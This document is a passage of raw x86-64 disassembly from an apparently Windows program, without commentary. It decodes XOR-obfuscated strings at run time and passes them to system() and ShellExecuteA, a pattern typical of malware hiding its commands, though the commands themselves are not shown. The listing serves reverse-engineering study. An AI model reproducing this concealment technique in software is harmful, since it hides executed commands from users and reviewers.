cmp qword [rbp + 0x68], 0xf
cmova rax, qword [rbp + 0x50]
mov byte [rax], r12b
jmp 0x140003937
call fcn.140050118
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140003f62
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f5c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140050118
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140003fa1
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f9b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140050118
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140003fe0
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003fda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003fda
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140050118
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14000401e
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004019
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004019
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140050118
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, 7
jbe 0x140004077
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004072
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004072
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140050118
mov qword [rbp - 0x70], 0
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov eax, dword [rsi + r13]
cmp dword [0x1401025f4], eax
jle 0x1400040e2
lea rcx, [0x1401025f4]
call fcn.14004fe1c
cmp dword [0x1401025f4], 0xffffffff
jne 0x1400040e2
mov dword [0x140102440], 0x1b1b028
mov dword [0x140102438], 0x49d0a136
mov dword [0x14010243c], 0x9aca25db
lea rcx, [0x140051950]
call fcn.1400500f8
lea rcx, [0x1401025f4]
call fcn.14004fdb0
cmp byte [0x140102443], 0
je 0x14000413f
xor byte [0x140102438], 0x45
xor byte [0x140102439], 0xd5
xor byte [0x14010243a], 0xb1
xor byte [0x14010243b], 0x3b
xor byte [0x14010243c], 0xaf
xor byte [0x14010243d], 5
xor byte [0x14010243e], 0xad
xor byte [0x14010243f], 0xfb
xor byte [0x140102440], 0x45
xor byte [0x140102441], 0xd5
xor byte [0x140102442], 0xb1
mov byte [0x140102443], 0
lea rdx, [rbp - 0x70]
lea rcx, [0x140102438]
call fcn.140047b70
test al, al
je 0x140004744
mov eax, dword [rsi + r13]
cmp dword [0x140102628], eax
jle 0x1400041b8
lea rcx, [0x140102628]
call fcn.14004fe1c
cmp dword [0x140102628], 0xffffffff
jne 0x1400041b8
mov dword [0x1401024d4], 0x1cb2ce9
mov dword [0x1401024c8], 0xa70083fa
mov dword [0x1401024cc], 0x16a502f5
mov dword [0x1401024d0], 0xac4f92cf
lea rcx, [0x140051930]
call fcn.1400500f8
lea rcx, [0x140102628]
call fcn.14004fdb0
cmp byte [0x1401024d7], 0
je 0x140004231
xor byte [0x1401024c8], 0xa9
xor byte [0x1401024c9], 0xf7
xor byte [0x1401024ca], 0x61
xor byte [0x1401024cb], 0xc9
xor byte [0x1401024cc], 0x91
xor byte [0x1401024cd], 0x49
xor byte [0x1401024ce], 0xcb
xor byte [0x1401024cf], 0x7f
xor byte [0x1401024d0], 0xa9
xor byte [0x1401024d1], 0xf7
xor byte [0x1401024d2], 0x61
xor byte [0x1401024d3], 0xc9
xor byte [0x1401024d4], 0x91
xor byte [0x1401024d5], 0x49
xor byte [0x1401024d6], 0xcb
mov byte [0x1401024d7], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r12
lea rdx, [0x1401024c8]
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140004247
mov r8, rbx
lea rcx, [rbp - 0x30]
call fcn.140006760
nop
mov rdi, qword [rbp - 0x20]
lea rbx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rbx, qword [rbp - 0x30]
call fcn.14004f6ac
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rdi
lea r8, [rbp - 0x70]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.140001980
nop
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x70]
call fcn.14004f90c
mov edx, eax
test eax, eax
jne 0x140004307
mov eax, dword [rbp + 0x80]
test al, 1
mov ecx, 0x1ff
mov r8d, 0x16d
cmovne ecx, r8d
mov dword [rbp - 0x6c], ecx
bt eax, 0xa
jae 0x1400042f5
mov ecx, dword [rbp + 0x84]
cmp ecx, 0xa000000c
je 0x14000432b
cmp ecx, 0xa0000003
jne 0x1400042f5
lea r14d, [rdx + 0xa]
jmp 0x14000432b
movzx r14d, al
and r14d, 0x10
or r14d, 0x20
shr r14d, 4
jmp 0x14000432b
mov dword [rbp - 0x6c], 0xffff
sub eax, 2
je 0x140004325
sub eax, 1
je 0x140004325
sub eax, 0x32
je 0x140004325
cmp eax, 0x46
mov r14d, r12d
jne 0x14000432b
mov r14d, 1
mov dword [rbp - 0x70], edx
lea rax, [0x1400690c8]
mov qword [rbp - 0x68], rax
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
test r14d, r14d
je 0x14000438e
cmp r14d, 1
setne bl
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14000439f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000439a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000439a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor bl, bl
test edx, edx
jne 0x140004ea8
jmp 0x14000434e
call fcn.140050118
mov eax, dword [rsi + r13]
test bl, bl
je 0x1400044c1
movdqa xmm6, xmmword [0x14005fd30]
mov dword [rbp - 0x40], 0x6cf9347d
cmp dword [0x140102424], eax
jle 0x140004408
lea rcx, [0x140102424]
call fcn.14004fe1c
cmp dword [0x140102424], 0xffffffff
jne 0x140004408
mov word [0x140102414], 0x173
movups xmmword [0x140102400], xmm6
mov eax, dword [rbp - 0x40]
mov dword [0x140102410], eax
lea rcx, [0x140051910]
call fcn.1400500f8
lea rcx, [0x140102424]
call fcn.14004fdb0
cmp byte [0x140102415], 0
je 0x1400044af
xor byte [0x140102400], 0x53
xor byte [0x140102401], 0x51
xor byte [0x140102402], 0x81
xor byte [0x140102403], 9
xor byte [0x140102404], 0x73
xor byte [0x140102405], 0x63
xor byte [0x140102406], 0x19
xor byte [0x140102407], 0x87
xor byte [0x140102408], 0x53
xor byte [0x140102409], 0x51
xor byte [0x14010240a], 0x81
xor byte [0x14010240b], 9
xor byte [0x14010240c], 0x73
xor byte [0x14010240d], 0x63
xor byte [0x14010240e], 0x19
xor byte [0x14010240f], 0x87
xor byte [0x140102410], 0x53
xor byte [0x140102411], 0x51
xor byte [0x140102412], 0x81
xor byte [0x140102413], 9
xor byte [0x140102414], 0x73
mov byte [0x140102415], 0
lea rcx, [0x140102400]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400046f1
cmp dword [0x1401023ec], eax
jle 0x14000450a
lea rcx, [0x1401023ec]
call fcn.14004fe1c
cmp dword [0x1401023ec], 0xffffffff
jne 0x14000450a
mov dword [0x14010241c], 0x17f9e6d
mov dword [0x140102418], 0x144525d4
lea rcx, [0x1400518d0]
call fcn.1400500f8
lea rcx, [0x1401023ec]
call fcn.14004fdb0
cmp byte [0x14010241f], 0
je 0x14000454b
xor byte [0x140102418], 0x91
xor byte [0x140102419], 0x57
xor byte [0x14010241a], 0x37
xor byte [0x14010241b], 0x7b
xor byte [0x14010241c], 0x1f
xor byte [0x14010241d], 0xbf
xor byte [0x14010241e], 0x7f
mov byte [0x14010241f], 0
movdqa xmm6, xmmword [0x14005fd10]
movdqa xmm7, xmmword [0x14005fcf0]
mov dword [rbp + 0x90], 0x95233fd
mov eax, dword [rsi + r13]
cmp dword [0x1401024f8], eax
jle 0x1400045c1
lea rcx, [0x1401024f8]
call fcn.14004fe1c
cmp dword [0x1401024f8], 0xffffffff
jne 0x1400045c1
mov word [0x140102474], 0x11f
movups xmmword [0x140102450], xmm6
movups xmmword [0x140102460], xmm7
mov eax, dword [rbp + 0x90]
mov dword [0x140102470], eax
lea rcx, [0x1400518f0]
call fcn.1400500f8
lea rcx, [0x1401024f8]
call fcn.14004fdb0
cmp byte [0x140102475], 0
je 0x1400046d8
xor byte [0x140102450], 0x91
xor byte [0x140102451], 0x57
xor byte [0x140102452], 0x37
xor byte [0x140102453], 0x7b
xor byte [0x140102454], 0x1f
xor byte [0x140102455], 0xbf
xor byte [0x140102456], 0x7f
xor byte [0x140102457], 0xe5
xor byte [0x140102458], 0x91
xor byte [0x140102459], 0x57
xor byte [0x14010245a], 0x37
xor byte [0x14010245b], 0x7b
xor byte [0x14010245c], 0x1f
xor byte [0x14010245d], 0xbf
xor byte [0x14010245e], 0x7f
xor byte [0x14010245f], 0xe5
xor byte [0x140102460], 0x91
xor byte [0x140102461], 0x57
xor byte [0x140102462], 0x37
xor byte [0x140102463], 0x7b
xor byte [0x140102464], 0x1f
xor byte [0x140102465], 0xbf
xor byte [0x140102466], 0x7f
xor byte [0x140102467], 0xe5
xor byte [0x140102468], 0x91
xor byte [0x140102469], 0x57
xor byte [0x14010246a], 0x37
xor byte [0x14010246b], 0x7b
xor byte [0x14010246c], 0x1f
xor byte [0x14010246d], 0xbf
xor byte [0x14010246e], 0x7f
xor byte [0x14010246f], 0xe5
xor byte [0x140102470], 0x91
xor byte [0x140102471], 0x57
xor byte [0x140102472], 0x37
xor byte [0x140102473], 0x7b
xor byte [0x140102474], 0x1f
mov byte [0x140102475], 0
xor r9d, r9d
lea r8, [0x140102418]
lea rdx, [0x140102450]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
mov qword [rbp - 0x20], r12
cmova rax, qword [rbp - 0x30]
mov byte [rax], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140004744
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000473f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000473f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140050118
mov qword [rbp - 0x70], 0
movdqa xmm6, xmmword [0x14005fd40]
mov word [rbp - 0x40], 0x6359
mov eax, dword [rsi + r13]
cmp dword [0x1401023b8], eax
jle 0x1400047ac
lea rcx, [0x1401023b8]
call fcn.14004fe1c
cmp dword [0x1401023b8], 0xffffffff
jne 0x1400047ac
mov byte [0x1401024ea], 1
movups xmmword [0x1401024d8], xmm6
movzx eax, word [rbp - 0x40]
mov word [0x1401024e8], ax
lea rcx, [0x1400518b0]
call fcn.1400500f8
lea rcx, [0x1401023b8]
call fcn.14004fdb0
cmp byte [0x1401024ea], 0
je 0x14000483e
xor byte [0x1401024d8], 0x35
xor byte [0x1401024d9], 0x63
xor byte [0x1401024da], 0xcb
xor byte [0x1401024db], 0xc5
xor byte [0x1401024dc], 0x2f
xor byte [0x1401024dd], 5
xor byte [0x1401024de], 0xdb
xor byte [0x1401024df], 0x95
xor byte [0x1401024e0], 0x35
xor byte [0x1401024e1], 0x63
xor byte [0x1401024e2], 0xcb
xor byte [0x1401024e3], 0xc5
xor byte [0x1401024e4], 0x2f
xor byte [0x1401024e5], 5
xor byte [0x1401024e6], 0xdb
xor byte [0x1401024e7], 0x95
xor byte [0x1401024e8], 0x35
xor byte [0x1401024e9], 0x63
mov byte [0x1401024ea], 0
lea rdx, [rbp - 0x70]
lea rcx, [0x1401024d8]
call fcn.140047b70
test al, al
je 0x140004a2a
movdqa xmm6, xmmword [0x14005fc80]
mov dword [rbp - 0x40], 0x50c1e90
mov dword [rbp - 0x3c], 0x78e82e40
mov eax, dword [rsi + r13]
cmp dword [0x140102420], eax
jle 0x1400048c2
lea rcx, [0x140102420]
call fcn.14004fe1c
cmp dword [0x140102420], 0xffffffff
jne 0x1400048c2
mov word [0x1401023e8], 0x1e7
movups xmmword [0x1401023d0], xmm6
movsd xmm0, qword [rbp - 0x40]
movsd qword [0x1401023e0], xmm0
lea rcx, [0x140051870]
call fcn.1400500f8
lea rcx, [0x140102420]
call fcn.14004fdb0
cmp byte [0x1401023e9], 0
je 0x140004985
xor byte [0x1401023d0], 0xe7
xor byte [0x1401023d1], 0x67
xor byte [0x1401023d2], 0x53
xor byte [0x1401023d3], 0x6d
xor byte [0x1401023d4], 0x21
xor byte [0x1401023d5], 0x4d
xor byte [0x1401023d6], 0x83
xor byte [0x1401023d7], 0xb
xor byte [0x1401023d8], 0xe7
xor byte [0x1401023d9], 0x67
xor byte [0x1401023da], 0x53
xor byte [0x1401023db], 0x6d
xor byte [0x1401023dc], 0x21
xor byte [0x1401023dd], 0x4d
xor byte [0x1401023de], 0x83
xor byte [0x1401023df], 0xb
xor byte [0x1401023e0], 0xe7
xor byte [0x1401023e1], 0x67
xor byte [0x1401023e2], 0x53
xor byte [0x1401023e3], 0x6d
xor byte [0x1401023e4], 0x21
xor byte [0x1401023e5], 0x4d
xor byte [0x1401023e6], 0x83
xor byte [0x1401023e7], 0xb
xor byte [0x1401023e8], 0xe7
mov byte [0x1401023e9], 0
mov eax, dword [rsi + r13]
cmp dword [0x140102534], eax
jle 0x1400049d1
lea rcx, [0x140102534]
call fcn.14004fe1c
cmp dword [0x140102534], 0xffffffff
jne 0x1400049d1
mov dword [0x1401023b2], 0x1210336
mov word [0x1401023b0], 0x1788
lea rcx, [0x140051890]
call fcn.1400500f8
lea rcx, [0x140102534]
call fcn.14004fdb0
cmp byte [0x1401023b5], 0
je 0x140004a04
xor byte [0x1401023b0], 0xe7
xor byte [0x1401023b1], 0x67
xor byte [0x1401023b2], 0x53
xor byte [0x1401023b3], 0x6d
xor byte [0x1401023b4], 0x21
mov byte [0x1401023b5], 0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [0x1401023d0]
lea rdx, [0x1401023b0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov qword [rbp - 0x70], 0
mov eax, dword [rsi + r13]
cmp dword [0x1401023bc], eax
jle 0x140004a99
lea rcx, [0x1401023bc]
call fcn.14004fe1c
cmp dword [0x1401023bc], 0xffffffff
jne 0x140004a99
mov word [0x14010254d], 0x1ff
mov dword [0x140102540], 0x1f89e8fc
mov dword [0x140102544], 0xf3c39806
mov dword [0x140102548], 0x1c83ebd0
mov byte [0x14010254c], 0x1d
lea rcx, [0x140051850]
call fcn.1400500f8
lea rcx, [0x1401023bc]
call fcn.14004fdb0
cmp byte [0x14010254e], 0
je 0x140004b09
xor byte [0x140102540], 0xbf
xor byte [0x140102541], 0x87
xor byte [0x140102542], 0xe7
xor byte [0x140102543], 0x79
xor byte [0x140102544], 0x6f
not byte [0x140102545]
xor byte [0x140102546], 0xe3
xor byte [0x140102547], 0xb5
xor byte [0x140102548], 0xbf
xor byte [0x140102549], 0x87
xor byte [0x14010254a], 0xe7
xor byte [0x14010254b], 0x79
xor byte [0x14010254c], 0x6f
not byte [0x14010254d]
mov byte [0x14010254e], 0
lea rdx, [rbp - 0x70]
lea rcx, [0x140102540]
call fcn.140047b70
test al, al
je 0x140004e69
mov eax, dword [rsi + r13]
cmp dword [0x14010253c], eax
jle 0x140004b7e
lea rcx, [0x14010253c]
call fcn.14004fe1c
cmp dword [0x14010253c], 0xffffffff
jne 0x140004b7e
mov word [0x1401024a1], 0x197
mov dword [0x140102498], 0xc9e3ad68
mov dword [0x14010249c], 0x4ae404d7
mov byte [0x1401024a0], 0x77
lea rcx, [0x140051830]
call fcn.1400500f8
lea rcx, [0x14010253c]
call fcn.14004fdb0
cmp byte [0x1401024a2], 0
je 0x140004bd4
xor byte [0x140102498], 0x2b
xor byte [0x140102499], 0x97
xor byte [0x14010249a], 0xbf
xor byte [0x14010249b], 0x8f
xor byte [0x14010249c], 0xbb
xor byte [0x14010249d], 0x6b
xor byte [0x14010249e], 0x93
xor byte [0x14010249f], 0x33
xor byte [0x1401024a0], 0x2b
xor byte [0x1401024a1], 0x97
mov byte [0x1401024a2], 0
xor edx, edx
lea rcx, [0x140102498]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movdqa xmm6, xmmword [0x14005fcb0]
mov eax, dword [rsi + r13]
cmp dword [0x1401024a8], eax
jle 0x140004c34
lea rcx, [0x1401024a8]
call fcn.14004fe1c
cmp dword [0x1401024a8], 0xffffffff
jne 0x140004c34
mov word [0x1401024c0], 0x1cd
movups xmmword [0x1401024b0], xmm6
lea rcx, [0x140051810]
call fcn.1400500f8
lea rcx, [0x1401024a8]
call fcn.14004fdb0
cmp byte [0x1401024c1], 0
je 0x140004cbb
xor byte [0x1401024b0], 0xcd
xor byte [0x1401024b1], 0x4b
xor byte [0x1401024b2], 0xc3
xor byte [0x1401024b3], 7
xor byte [0x1401024b4], 0xb9
xor byte [0x1401024b5], 0x71
xor byte [0x1401024b6], 0xb3
xor byte [0x1401024b7], 0x1b
xor byte [0x1401024b8], 0xcd
xor byte [0x1401024b9], 0x4b
xor byte [0x1401024ba], 0xc3
xor byte [0x1401024bb], 7
xor byte [0x1401024bc], 0xb9
xor byte [0x1401024bd], 0x71
xor byte [0x1401024be], 0xb3
xor byte [0x1401024bf], 0x1b
xor byte [0x1401024c0], 0xcd
mov byte [0x1401024c1], 0
xor edx, edx
lea rcx, [0x1401024b0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movdqa xmm6, xmmword [0x14005fcc0]
mov eax, dword [rsi + r13]
cmp dword [0x140102624], eax
jle 0x140004d1b
lea rcx, [0x140102624]
call fcn.14004fe1c
cmp dword [0x140102624], 0xffffffff
jne 0x140004d1b
mov word [0x140102610], 0x137
movups xmmword [0x140102600], xmm6
lea rcx, [0x1400517e0]
call fcn.1400500f8
lea rcx, [0x140102624]
call fcn.14004fdb0
cmp byte [0x140102611], 0
je 0x140004da0
xor byte [0x140102600], 0x37
xor byte [0x140102601], 0x71
xor byte [0x140102602], 0xdb
not byte [0x140102603]
xor byte [0x140102604], 0x29
xor byte [0x140102605], 0xdf
xor byte [0x140102606], 0x53
xor byte [0x140102607], 0xd
xor byte [0x140102608], 0x37
xor byte [0x140102609], 0x71
xor byte [0x14010260a], 0xdb
not byte [0x14010260b]
xor byte [0x14010260c], 0x29
xor byte [0x14010260d], 0xdf
xor byte [0x14010260e], 0x53
xor byte [0x14010260f], 0xd
xor byte [0x140102610], 0x37
mov byte [0x140102611], 0
mov eax, dword [rsi + r13]
cmp dword [0x140102444], eax
jle 0x140004dfc
lea rcx, [0x140102444]
call fcn.14004fe1c
cmp dword [0x140102444], 0xffffffff
jne 0x140004dfc
mov word [0x1401025c7], 0x10d
mov dword [0x1401025c0], 0x93ab0952
mov word [0x1401025c4], 0xad46
mov byte [0x1401025c6], 0x36
lea rcx, [0x140051800]
call fcn.1400500f8
lea rcx, [0x140102444]
call fcn.14004fdb0
cmp byte [0x1401025c8], 0
je 0x140004e43
xor byte [0x1401025c0], 0x37
xor byte [0x1401025c1], 0x71
xor byte [0x1401025c2], 0xdb
not byte [0x1401025c3]
xor byte [0x1401025c4], 0x29
xor byte [0x1401025c5], 0xdf
xor byte [0x1401025c6], 0x53
xor byte [0x1401025c7], 0xd
mov byte [0x1401025c8], 0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [0x140102600]
lea rdx, [0x1401025c0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.140017190
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.14004fd90
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rsp + 0x48]
lea rdx, [rbp - 0x70]
lea rcx, str.exists
call fcn.1400023f0
int3